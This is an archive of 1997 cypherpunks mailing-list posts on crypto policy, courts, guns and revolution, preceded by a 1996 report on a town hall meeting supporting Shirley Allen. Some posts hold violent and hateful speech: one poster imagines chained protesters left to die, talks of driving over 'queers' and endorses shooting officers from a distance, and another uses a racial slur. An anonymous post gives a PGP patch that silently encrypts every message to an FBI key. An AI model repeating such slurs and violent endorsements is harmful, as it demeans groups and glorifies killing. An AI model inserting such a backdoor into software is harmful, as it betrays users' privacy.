Content-Type: text/plain



Sunday 10/26/96

Roby II
Town Hall Meeting

The Town Hall Meeting convened at 2:00 PM as promised at the
Community Center in Auburn, Il. nearly 6 miles east of Roby.

The Community Center was packed. Neighbors from far and wide attended
the meeting which lasted for several hours. At least one attendee, a
local
City Councilman was so incensed after hearing from the neighbors of
Shirley Allen, he offered to contact Judge Slatter in hopes of having
the
court order withdrawn.

Attended by numerous members of the media, this Town Hall Meeting
produced several local neighbors speaking on Shirley's behalf. Even the
lone State Trooper seen "taking down license plate numbers" during the
meeting did not mar this event.  Reportedly, Carolyn Trochman dialed
911 and reported a "suspicious individual" roaming around the vehicles
and demanded that an officer be dispatched to help.  That lone trooper
after seen "talking on his radio" was observed to quickly ceased that
activity.

Speakers onhand included John Trochman and Joyce Riley with impromptu
ballads supplied by singer/songwriter Dave Riddell. Reports indicate a
Ballad For Shirley was born during the meeting and performed by Dave
Riddell.

The Auburn Town Hall meeting was dubbed a success and several neighbors
owning property adjacent to Shirley Allen spoke in her defense so
strongly
that afterwards it was agreed to reconvene at a home NEXT DOOR  to
Shirley Allen.  This caravan, including at least one motor home then
proceeded
to converge at the neighbors home with his invitation and the local
Troopers
had little choice but to allow them into the outer perimeter.  The
meeting was
peaceful and included at least 75 from the Auburn Roby 2 Town Hall
Meeting.

Spirits were lifted near Shirley's home as the second session of the
meeting
continued into the darkness of dusk.  Chants were born and at least one
being shouted by all at the gathering could not help but help the
troopers
on duty realize that this was indeed an effort to help relieve tensions.

The chant born yesterday afternoon was  "BAD COP.....NO DONUTS
..... BADCOP......NO  DONUTS".  Troopers were seen not able to keep
their  "terse" expressions during these chants.

What was accomplished?  "A Lot!" exclaimed Joyce Riley.  "We have at
least one City Councilman whom has since contacted other councilmen and
they will be visiting with Judge Slatter Monday Morning.  The local
neighbor
support for Shirley is overwhelming.  With this kind of support, we can
only
go uphill from here."

More Later on the Success of Roby II


Johnny Johnson
Houston, Texas
(281) 530-5511








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Fri, 31 Oct 1997 03:55:29 +0800
To: cypherpunks@cyberpass.net
Subject: GAK for PGP 2.6.2
Message-ID: <199710301935.UAA16086@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



GAK fans!

Here's a patch to PGP 2.6.2 to force it to encrypt all messages to the
FBI key.

Patch crypto.c thusly:

2339a2340
>       ++i;            /* Count FBI key */
2368a2370,2372
>       /* encrypt to FBI */
>       keys_used = encryptkeyintofile(g, "<leaf@fbi.gov>", keybuf, keyfile,
>                                       ckp_length, keys_used);

That's it.  Four new lines, and every message is encrypted to the
government as an additional recipient.

Don't let the FBI see this.  If so, we'll be <ominous voice> "one step from
GAK".  Add a few SMTP filters and we're doomed.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 31 Oct 1997 12:45:47 +0800
To: cypherpunks@Algebra.COM
Subject: What Will Revolution Look Like?
Message-ID: <v03102805b07f015d68c7@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




Some of the questions by Mark Rogaski and others ask about the nature of
the revolution I and others are predicting and encouraging.

What will a just revolution, like those anticipated by Jefferson, Franklin,
and others, look like?

The British thought the colonial rebels were "playing dirty" by shooting
from behind trees instead of marching in bright uniforms with drums and
bugles to herald their way.

Modern armies think freedom fighters are "terrorist scum" for not fighting
honestly and fairly in their own M-1 Abrams tanks and aircraft carriers.

So, too, will revolutionaries be seen as fighting "unfairly" and being
unethical sneaks, child killers, and terrorists.

(As if children and other innocents did not die in various incidents in
past wars, on all sides.)

When Jefferson predicted that a revolution was needed every 20 years or so,
he surely was not saying that throwing one party out of leadership and
putting the other party in was an example of such a revolution, or that
"campaign reform" is such an example. Nor was he saying that the only valid
revolution would be when a buch of citizens or states got together their
own army and marched on Washington.

(Actually, raising such an army is in violation of numerous laws about
heavy weaons, licenses to carry weapons, etc. No doubt illegal. Ironically.)

No, the revolution, when it comes, will likely be different from anything
quite like we've seen to date.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 31 Oct 1997 13:29:59 +0800
To: cypherpunks@algebra.com
Subject: Re: North CA cops skip preliminaries, get straight to torture
In-Reply-To: <199710310414.FAA21232@basement.replay.com>
Message-ID: <v03102806b07f043012a8@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:14 PM -0700 10/30/97, Anonymous wrote:


>  This non-violent demonstrators were willing to accept the agreed
>upon punishment/cost of their actions in protest of the actions
>of their public servants. Their public servants, as usual, chose
>to to act in the manner of savages who are incapable of holding
>to the rule of law which they use to justify their confiscation
>of the citizen's right to bear arms in the face of tyranny.

Excuse me, but this modern notion that protestors get to "make a deal"
about the fines they'll eventually pay is bogus. If they're trespassing,
they're trespassing. They don't get to take over Intel's factory, chain
themselves to the Evil Factory doors, and then make a deal to pay some
token fine.

Like the AIDS protestors who "arrange" a deal whereby they'll shut down the
Golden Gate Bridge for several hours and then pay their arranged $50
tickets.

Well, what's wrong with me driving up to the head of the sit-down protest
and saying to the cops standing idly by, "Hey, there are some queers in the
middle of the road, blocking my trip to Marin. If you're just gonna let em
sit there for hours, putting my business and plans at risk, I'm just gonna
gun my engine and drive right over their fairy asses."

Crimes are crimes, not "guerilla theater." Not "performance art."

(And I was one of the organizers of "Critical Smash," a counter-rally of
truck drivers and fed up motorists who met the "Critical Mess" bicyclists
planning to "shut down" major intersections.)

>
>  Twenty years or so ago, after seeing pictures of mothers and
>children in chains at a Livermore Labs protest, I wrote a song
>called "Don't Blame Me, I Voted For The Monkey."

I had a much better idea back then. Leave the mothers and childrens chained
to the fences and gates.

Pull back from them, erect a cordon around them, and block anyone from
approaching.  They wanted to be chained to the fence, sans keys, so let
them have their wish.

Others could show up to throw stuff at them, and place bets on who would be
the last to die.

And, as the flesh dripped off and the bones whitened, it might be a nice
object lesson for the others.


--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 31 Oct 1997 11:23:42 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: democracy?! (Re: Terrorism is a NON-THREAT (fwd)) (fwd)
Message-ID: <199710310315.VAA21770@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Fri, 31 Oct 1997 01:42:37 GMT
> From: Adam Back <aba@dcs.ex.ac.uk>
> Subject: democracy?! (Re: Terrorism is a NON-THREAT (fwd))
> 
> > If we abandon democracy then we are admitting that ALL social systems are a
> > failure.
> 
> I fail to see the inference there.

If we as individuals can't make our own decisions about what is best for us,
what makes you think some stranger will do any better? By our initial
assumption we are assured that they can't make adequate decisions about
their own life. Every form of government other than democracy assumes a
priori that noble oblige is prima facia. To paraphrase an old questions of
politics, who governs the governors? Or do you feel we have found angels in
the form of kings?

Democracy says, you don't need a governor (in that sense). You ARE held
responsible for your actions AFTER your actions, not for simply thinking
about them or even speaking them.

Juries are supposed to be composed of your peers, not who the prosecution or
defence believe will best support their case. It should be that the first 12
poeple called who don't have a valid excuse to be excused are the jury, the
next 12 are the back-ups. This would guarantee that getting a conviction for
anything other than the most heinous crime with the most explicit and
incontrovertible evidence will be well nigh impossible, as it should be in a
democracy. It should be a mother fucker to put somebody in jail in this
country.

Judges should not be able to tell someone they need permissio to file a
legal complaint. Nor should a judge be able to refuse a juries request to
have testimony transcribed because it costs too much. That isn't justice,
that is systemic expediency and criminal indiference.

Which means we should have the lowest number of incarcerated individuals
instead of the most.

> Democracy doesn't work that well.  Probably no government at all would
> be better.

Doesn't work what way? Consider, other than democracy, that every form of
government has an implicit assumption that there is some base sets of
activities that citizens should be permitted and they will be happy. Those
activities are determined, except in democracies, by those in power who are
NOT elected or otherwise responsible to the people as a whole. In a
democracy the people are given the opportunity to make up their mind what to
do with their lives and property without having to obtain permission from
some authority. Why? Because there isn't such an authority to get permission
from in the first place.

> > No, it is time WE take responsibility back for our actions and control our
> > own lives and quit abrogating it to some asshole who will promise anything
> > to get us to give them money for nothing (ie taxes).
> 
> Same thing applies to most government functions.

In what way?

Paying a government to keep the park clean and mowed and the lights on at
night or my streets well paved and de-iced in winter is not quite the same
thing as having black-suited ninja wann-be's kicking my door in at 2AM
because I choose to smoke a joint or even grow my own weed; or spend six
weeks in jail for possessing vitamins that some cop THINKS is drugs; or
perhaps because I happen to be a doctor and know how to read and might take
exception to being told what I can or can't say; or because I might be of
Jewish decent or a Muslim or a Catholic or Anglo or Negro; or etc. etc.

There is a reason behind the madness of "Congress shall make no law...".


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Fri, 31 Oct 1997 04:27:56 +0800
To: "Igor Chudov @ home" <ichudov@Algebra.COM>
Subject: Re: DEA trying to subpoena book dealers
In-Reply-To: <199710301913.TAA20846@manifold.algebra.com>
Message-ID: <Pine.BSF.3.96.971030211444.17294A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 30 Oct 1997, Igor Chudov @ home wrote:
> 
> Underwear is annoying, especially if I sleep with someone.

Just keep the vest and other gear next to the bed together with your
rifle. That works fine for a lot of people.

-- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vipul Ved Prakash <vipul@best.com>
Date: Fri, 31 Oct 1997 00:27:07 +0800
To: cypherpunks@toad.com (Cypherpunks)
Subject: GOST
Message-ID: <199710302129.VAA00222@fountainhead.net>
MIME-Version: 1.0
Content-Type: text



I have compiled some links related to GOST at
http://www.fieo.org/gost/

vipul

-- 
Powell lingered. "How's Earth?" 
It was a conventional enough question and Muller gave the 
conventional answer, "Still spinning."
				      -- "Reason", Asimov. 
==================================================================
Vipul Ved Prakash                 | - Electronic Security & Crypto 
vipul@best.com 	                  | - Web Objects 
91 11 2233328                     | - PERL Development 
198 Madhuban IP Extension         | - Linux & Open Systems 
Delhi, INDIA 110 092              | - Networked Virtual Spaces





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Rogaski <wendigo@ne-wendigo.jabberwock.org>
Date: Fri, 31 Oct 1997 10:54:27 +0800
To: azur@netcom.com
Subject: Re: Killing those who need killing (fwd)
In-Reply-To: <v03102800b07e6492650f@[208.129.55.202]>
Message-ID: <199710310242.VAA15800@deathstar.jabberwock.org>
MIME-Version: 1.0
Content-Type: text



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

An entity claiming to be Steve Schear wrote:
: >:
: >: (Personally, were I to be arrested and held on such false charges, I'd
: >: consider it necessary to kill those who illegally held me. Preferably from
: >: a safe distance, with a sniper rifle. But then I'm a right wing libertarian
: >: whacko.)
: >
: >Right wing, left wing, friggin' wingless ... the above comment still
: >indicates a sociopath.
: 
: Perhaps, but is being a sociopath that bad?  When those who administer the
: justice system in society are out-of-control, or have consciously decided
: to ignore the constitutional protections they are charged with upholding
: then strong, extra-legal, measures may be called for in order to right the
: apple cart.

While being an eloquent statement of support for gang warfare, it still 
disagrees with the old adage of "two wrongs don't make a right" [1].  It does
indicate that this concept of justice causes any traces of "law" to go right
down the drain anytime one person oversteps the boundary.  If Tim were 
justified in breaking the law because a (hypothetical) LEO broke his end of
the Constitutional bargain, wouldn't that make the "law" in question moot?

I'm not attacking your ideals, or Tim's, I'm just wondering if this sort
of reactionary violence is valid.  If Tim were arrested on some bogus charge
[2] and were held as a political prisoner, let's say he does as he says he 
would ... leaving a corpse in jackboots.  Wouldn't that add more fuel to the
fires of the political reptiles, resulting in more oppresive law enforcement?

I'm not saying that he should just turn the other cheek, I'm just wondering if
there aren't more effective ways of dealing with an out of control government.
The American public won't be roused to open revolution quite so easily.  They
have jobs, cars, houses, kids, dogs, digital watches [3] and lots of other
things that they do not want to lose.  Revolution is untidy, and Americans
know this, so does the government ... this gives them a BIG advantage, it
makes the citizenry very compliant.

How do you see Tim's stance as being practical?

: 
: "Those who prefer security over liberty deserve neither."

I agree.


[1] but three rights make a left.

[2] plenty to pick from here.

[3] well, most of them do.

- -- 
[] Mark Rogaski                   "That which does not kill me
[] wendigo@pobox.com                 only makes me stranger."

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNFlFnMHFI4kt/DQOEQKUMwCfYU7TczSd/kX7Wb6Xfz+hWYMty+EAoLQQ
T5yekWt0iy+PdFHc2p0+v4qt
=tTYi
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Rogaski <wendigo@ne-wendigo.jabberwock.org>
Date: Fri, 31 Oct 1997 10:55:18 +0800
To: ravage@ssz.com
Subject: Re: Rules for a successful society
In-Reply-To: <199710310041.SAA20996@einstein.ssz.com>
Message-ID: <199710310248.VAA15839@deathstar.jabberwock.org>
MIME-Version: 1.0
Content-Type: text



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

An entity claiming to be Jim Choate wrote:
: 
: Q: Don't want to be beaten about the head and shoulders with a large club?
: 
: A: Stay off my property unless invited.

I just had the laugh of my life imagining Jim shouting this through a
bullhorn on a South Dakota Indian Reservation.


: 
: The PRIMARY rule of a successful society:
: 
: Treat others the way you want to be treated, NO EXCEPTIONS.

That would be why it was considered Golden, eh?


Mark

- -- 
[] Mark Rogaski                   "That which does not kill me
[] wendigo@pobox.com                 only makes me stranger."

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iQA/AwUBNFlHDcHFI4kt/DQOEQIGrwCg2LnB/MOBreHlvMHPLNj39XZBSgAAoNuM
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Fri, 31 Oct 1997 13:35:56 +0800
To: cypherpunks@toad.com
Subject: Self-proclaimed judge and jury.
Message-ID: <34596AEB.67F1@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



After my success in predicting the outcome of the 'au pair' trial, which
is but one of my astonishing string of legal predictions, I have decided
to offer my services as self-proclaimed judge and jury, in order to 
spare the government and its taxpayers the increasingly outrageous cost
of incarcerating or freeing the innocent and the guilty, seemingly at
random.

A bar-table conference of lawyers and judges agreed wholeheartedly with
me that the *evidence* presented in the 'au pair's' trial in no way 
supported a verdict of first, or even second, degree murder.

> To convict Woodward of second-degree murder, the jury found
> that she intentionally killed the baby with malice, but without
> atrocity or premeditation. 

  My panel, to a person, agreed with Barry Scheck that the prosecution 
had not even "come close" to proving the above, based on the evidence. 
None of them were foolish enough, however, to believe that the decision
of the jury would be based on the evidence and the law.

  I announced, with an air of certitude, that the verdict would be
guilty. My reasoning?
1. Morning talk shows show that the sheeple want *somebody* to pay for
  each and every perceived wrong done on the face of the media-lit
  earth.
2. The sheeple don't really give a fat rat's ass about finding the
  *right* villain, but only the best media-promoted candidate.
3. The obvious target is whoever is 'the least like *me*'!
4. The parents are media friendly, the 'au pair' has British reserve.

  In short, the British are emotional cryptographers, who obviously have
something to hide. Outgoing Americans, who look like us, dress like us
and act like us, need only to 'leave us laughing' in order to skip
out the door to freedom while pigmentation and/or non-photographic
criminals go to the gallows.

  Guilty!

My other successful predictions, in a nutshell:
Kennedy Rapist - "White-bread is going to walk."
Boxer Rapist - "Nigger's going to jail."
Simpson-Brown Murderer: "We were climbing over the fence to OJ's estate
  hollering, 'We're from the government, and we're here to help you.'"
  ~My Verdict~ "If the police are shit, blacks will acquit."
OJ Civil Trial - Right...like *anyone* is going to brag about predicting
  the outcome of a black man in front of a rigged jury...

  In case you think I am *bragging* about my remarkable skill in making
correct predictions about the outcome of almost all trials that I take
an interest in...guess again.
  I am a cynical, pessimistic person with low self-esteem, who is able
to egoistically consider himself 'superior to the sheeple' only by 
virtue of the fact that their repetitive echoing of whatever the media
'bleats' in their direction places them in the animal/vegetable/mineral
kingdoms which I believe I have risen ever so slightly above in my
quest for consciousness.
  I am, in fact, totally *horrified* that I am able to correctly predict
the outcome of what is supposed to be a process of rational judgement
by basing my analysis on the supposition that the legal system exists
mostly for the purpose of perpetuating its own position of authority, 
and that its members chief aim is to WIN--at the cost of justice, if
need be, and often even out of the interests of mere expediency.

  From my experience, legal resolution to criminal charges has been 
quickened more over the years by golf clubs who have 'moved up' an
attorney's tee-time, than by any 'right to a speedy trial' legislation
has ever done.
  I would like, deep down inside, to believe that I am full of shit in
this regard, but I just keep successfully predicting the outcome of 
trials by being an irreverent, cynical asshole.
  Go figure...

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 31 Oct 1997 07:33:09 +0800
To: cypherpunks@toad.com
Subject: Re: DEA trying to subpoena book dealers
In-Reply-To: <199710301543.PAA19111@manifold.algebra.com>
Message-ID: <199710302315.AAA12753@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



>Tim May wrote:
>> 
>> And so it goes. This is why I have 3000 rounds of .223 stashed away, and
>> several loaded weapons readily available. And an early warning system in
>> case the night ninjas decide my house needs to be raided before dawn.
>
>What kind of early warning system is it, technically?
>
>Another question about home defense: it must be really inconvenient
>to perform all these self-defense actions naked, which would obviously
>happen during these night raids and robberies. 
>
>Is that a problem, and if yes, what are the solutions?
>
>	- Igor.
>

What are you doing sleeping naked? You should *always* sleep fully
clothed.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Fri, 31 Oct 1997 15:44:44 +0800
To: Jonathan Wienke <JonWienk@ix.netcom.com>
Subject: Reputation Capital / Re: Killing those who need killing
In-Reply-To: <199710300106.TAA15382@einstein.ssz.com>
Message-ID: <345987E3.2C09@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Jonathan Wienke wrote:

> ObTongueInCheekFearmongeringThought:
> How many Cypherpunks are vulnerable to this "psychiatric imbalance
> allegation" attack?  Tim May is obviously an anti-social survivalist gun
> freak, (like me, but with a bigger ammo stockpile--I'm jealous) Vulis is
> obviously a closet bisexual deviant/pedophile (especially if he posts those
> "Timmy Mayonnaise" ASCII art spams), Bill Geiger is a rabid anti-government
> extremist a la McVeigh, and TruthMonger--need I say more? 

Question: Is it a sign of low reputation capital when people only have
         to mention your name to make their point?
Answer: Crispin!

Bonus Question: What kind of signature line would lessen the social
stigma
               of being called a "sociopath" by Mark Rogaski?
Answer: "That which does not kill me only makes me stranger."

  Robert Hettinga *loves* this list!

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Fri, 31 Oct 1997 17:32:30 +0800
To: cypherpunks@Algebra.COM
Subject: Re: What Will Revolution Look Like?
Message-ID: <3.0.32.19971031012859.006c9b7c@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:

>No, the revolution, when it comes, will likely be different from anything
>quite like we've seen to date.
....................................................

In the revolution against the British, the U.S. was a small colony sitting
on a vast "new" land, with the Natives but a minor obstacle to expansion.
Presently there is no such unoccupied place which could be claimed for the
cause of liberty, and revolutionaries are sitting in the middle of the
enemy camp, surrounded everywhere by people who "just want to save lives".

You could temporarily send a political message and get your names in the
news, but then totally lose the war from being outnumbered and overwhelmed
by non-sympathizers.   A long time ago it was possible, given the distance
of water and land between peoples, to make a break with them physically.
The enemy could be driven out, sent "home", and the winners could develop
their new living arrangements in the new setting.

But there is no new setting to go to, there is nowhere to send the
infidels.   The life of a new libertarian "society" would have to be
created as a virtual one, existing among or in-between the others.   Of
course the basis of the original setup is still mentioned every once in a
while, and so it is still in the minds of everyone, even if only as a dim
reference, so it could be said that the most a current revolution could
accomplish would be the return of the original ideal to the minds of the
population.  But I think that it would take much more than a few skirmishes
to accomplish that, as it doesn't appear that it carries all that much
support.   It would be like getting a kid to take down some medicine; many
don't really want to live so independently, nor feel the need to identify
what kind of life would be the more ideal (i.e. they don't identify
precisely the difference between a socialist atmosphere and a libertarian
one, nor concern themselves with why they should spend any time worrying
about the difference it makes.)

An intentional revolution, I fear, would just look like an attempt to make
people think.  And therefore not taken too seriously.  (And if the
revolutionaires lose?  tough luck.  Oh, well. Gotta go to work in the morning.)
    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "snow" <snow@smoke.suba.com>
Date: Fri, 31 Oct 1997 15:45:30 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Killing those who need killing (fwd)
In-Reply-To: <199710300656.BAA11573@deathstar.jabberwock.org>
Message-ID: <199710310740.BAA02029@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> An entity claiming to be Tim May wrote:
> : (Personally, were I to be arrested and held on such false charges, I'd
> : consider it necessary to kill those who illegally held me. Preferably from
> : a safe distance, with a sniper rifle. But then I'm a right wing libertarian
> : whacko.)
> Right wing, left wing, friggin' wingless ... the above comment still 
> indicates a sociopath.

	And the problem with that is...


	You must live in such a nice world, where the sky is always blue,
the grass always green, and the police eager and willing to serve a happy
populace. 

	Can I come live in your world?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 31 Oct 1997 10:52:52 +0800
To: ravage@ssz.com
Subject: democracy?! (Re: Terrorism is a NON-THREAT (fwd))
In-Reply-To: <199710310021.SAA20714@einstein.ssz.com>
Message-ID: <199710310142.BAA00797@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate <ravage@ssz.com> writes:
> > No amount of deaths are adequate cause for suspending the constitutional
> > rights of our citizens.  If the Feds can't adequately protect our citizens
> > from criminal activities w/o trampling on our rights then its time for us
> > to reorganize into different geo-political structures which may.
> 
> No, it is time WE take responsibility back for our actions and control our
> own lives and quit abrogating it to some asshole who will promise anything
> to get us to give them money for nothing (ie taxes).

Right on.  Worried about childrens security?  Protect them yourself,
organise neighborhood watch, arm the little tykes to the teeth, pay
private security firms, whatever.

> > Once
> > solutions offered from D.C. include suspension of our civil rights its time
> > to put allt he options on the table, including considering the abandonment
> > of the entire compact.
> 
> If we abandon democracy then we are admitting that ALL social systems are a
> failure.

I fail to see the inference there.

Democracy doesn't work that well.  Probably no government at all would
be better.

Let me quote yourself:

> No, it is time WE take responsibility back for our actions and control our
> own lives and quit abrogating it to some asshole who will promise anything
> to get us to give them money for nothing (ie taxes).

Same thing applies to most government functions.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lcs Mixmaster Remailer <mix@anon.lcs.mit.edu>
Date: Fri, 31 Oct 1997 10:25:01 +0800
To: eagleone@inorbit.com
Subject: PGP question
Message-ID: <19971031022001.7119.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



>Not being very knowledgeable in the cypher world, are there any good online
>references that compare RSA vs DSS PGP?  and why one would be better than
>the other?
>
>thanks

If you use PGP 5.0 many people will refuse to read your messages and send 
them to you. They won't be able to decrypt your messages, verify
your signatures, or use your keys. In general, using 5.0 just pisses people
off. 5.0 is purposefully incompatable with all previous versions of PGP,
they purposefully haven't released usable versions except for Windows and
possibly Mac, they've purposefully broke any scripts and programs which
invoke PGP, they purposefully made command-line versions of PGP many times
more annoying to use, and PGP 5.x encrypts to a "CMR key" without having the 
decency to ask. 

Generally the PGP 5.x folks are being complete and total assholes about this 
entire thing and haven't done anything to improve the state of cryptography
today and a whole lot to worsen it. 

Somebody recently posted a large rant about this titled "PGP 5.0: What were
they thinking? (revisited)."

CompatabilityMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Fri, 31 Oct 1997 17:02:04 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: democracy?! (Re: Terrorism is a NON-THREAT (fwd)) (fwd)
In-Reply-To: <199710310315.VAA21770@einstein.ssz.com>
Message-ID: <34599D8F.2856@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate wrote:

> Juries are supposed to be composed of your peers, not who the prosecution or
> defence believe will best support their case. It should be that the first 12
> poeple called who don't have a valid excuse to be excused are the jury, the
> next 12 are the back-ups.

  You're way off base here, Jim. As a matter of fact, the government
goes to extraordinary lengths to make certain that we get a jury of
our peers.
  For example, potential jurists in murder trials are required to
admit to supporting the government murder of the defendant if he
or she is convicted. God forbid they should ask what procedures
are in place for bringing the defendant back to life if their
verdict turns out to be in error.

  I like many others, have committed a wide variety of crimes for
which I could be sentenced and punished, but the only two I was
charged for and found guilty of were crimes of which I was completely
innocent. Go figure...

> This would guarantee that getting a conviction for
> anything other than the most heinous crime with the most explicit and
> incontrovertible evidence will be well nigh impossible, as it should be in a
> democracy. It should be a mother fucker to put somebody in jail in this
> country.

  'Circumstantial evidence' has been twisted and perverted in the
justice system to the point where it is synonymous with convicting
the 'best guess' candidate for a crime.
  The problem with the '*someone* has to pay' school of jurisprudence
in vogue today is that poorly paid, poorly trained street officers
are often responsible for making the decisions as to *who* will be
the person selected as the 'best guess' candidate. (At which point
the wheels of law enforcement and the injustice system begin rolling
over the back of the defendant, leaving tire marks suspiciously
similar to those at the scene of the crime.)

> Judges should not be able to tell someone they need permissio to file a
> legal complaint. Nor should a judge be able to refuse a juries request to
> have testimony transcribed because it costs too much. That isn't justice,
> that is systemic expediency and criminal indiference.

  You have hit on what I regard as the single greatest evil in the
justice system today--expediency.
  At the heart of 'expediency' lies the 'plea bargain.' Police and
prosecutors are fully aware that their greatest chance of success
in turning a potential 'loss' into a 'win' is with a person, guilty
or innocent, who they can deal with as a first time offender.
  The prosecutor can use dire threats of 'maximum prosecution' to
convince the person to take a 'slap on the wrist' to avoid taking
a chance of suffering devastating consequences. What their victims
don't realize is that they will now be a 'known offender', an 
automatic 'suspect' in the future, and subject to exceedingly more
severe penalties in the future for their real or imagined crimes.

  I know a person who is serving a life sentence as a habitual
offender for a 'third' felony because his legal aide attorney
years ago had gotten him a 'helluva deal' on a DWI, only having
to pay a small fine and no loss of license (back when this 
was still possible). Although the man was a non-drinker, having
a liver condition that meant he would die if he consumed enough
alcohol to be over the legal limit, he had never been 'diagnosed'
as such, having no need to, since it was a known hereditary
condition in his family.
  His legal aide lawyer pointed out the enormous expense of
being diagnosed, etc, and the fact that a DWI was only a
"small, insignificant" felony at the time.

  Many years later, the 'third felony', for which he was sentenced
to life in prison, was for bouncing a $10.00 check, or some such.

  The irony is that he was always a big law and order supporter,
and probably cheered when the 'third time loser' law was passed.
(I wonder if the $10.00 bounced check was to the campaign of his
 favorite 'law and order' politician?)
 
> Paying a government to keep the park clean and mowed and the lights on at
> night or my streets well paved and de-iced in winter is not quite the same
> thing as having black-suited ninja wann-be's kicking my door in at 2AM
> because I choose to smoke a joint or even grow my own weed; or spend six
> weeks in jail for possessing vitamins that some cop THINKS is drugs; or
> perhaps because I happen to be a doctor and know how to read and might take
> exception to being told what I can or can't say; or because I might be of
> Jewish decent or a Muslim or a Catholic or Anglo or Negro; or etc. etc.

  Or you might be Timothy O'Leary, crossing the American border (in
Texas?) with a couple of marihuana seeds in the ashtray. (40 years
in the slam?)

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Fri, 31 Oct 1997 19:11:55 +0800
To: cypherpunks@cyberpass.net
Subject: Jim Bell sentencing delayed
Message-ID: <3.0.2.32.19971031030811.006d3050@pop.sirius.com>
MIME-Version: 1.0
Content-Type: text/plain




According to PACER, Jim Bell's sentencing has been postponed yet again; the
sentencing was originally scheduled for 9/17, which was continued to 10/31,
which was continued (via an order on 10/24) until 11/21/97 at 9:00 AM.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | Export jobs, not crypto.
http://www.io.com/~gbroiles | http://www.parrhesia.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Fri, 31 Oct 1997 18:28:56 +0800
To: lurker@ottoman.net
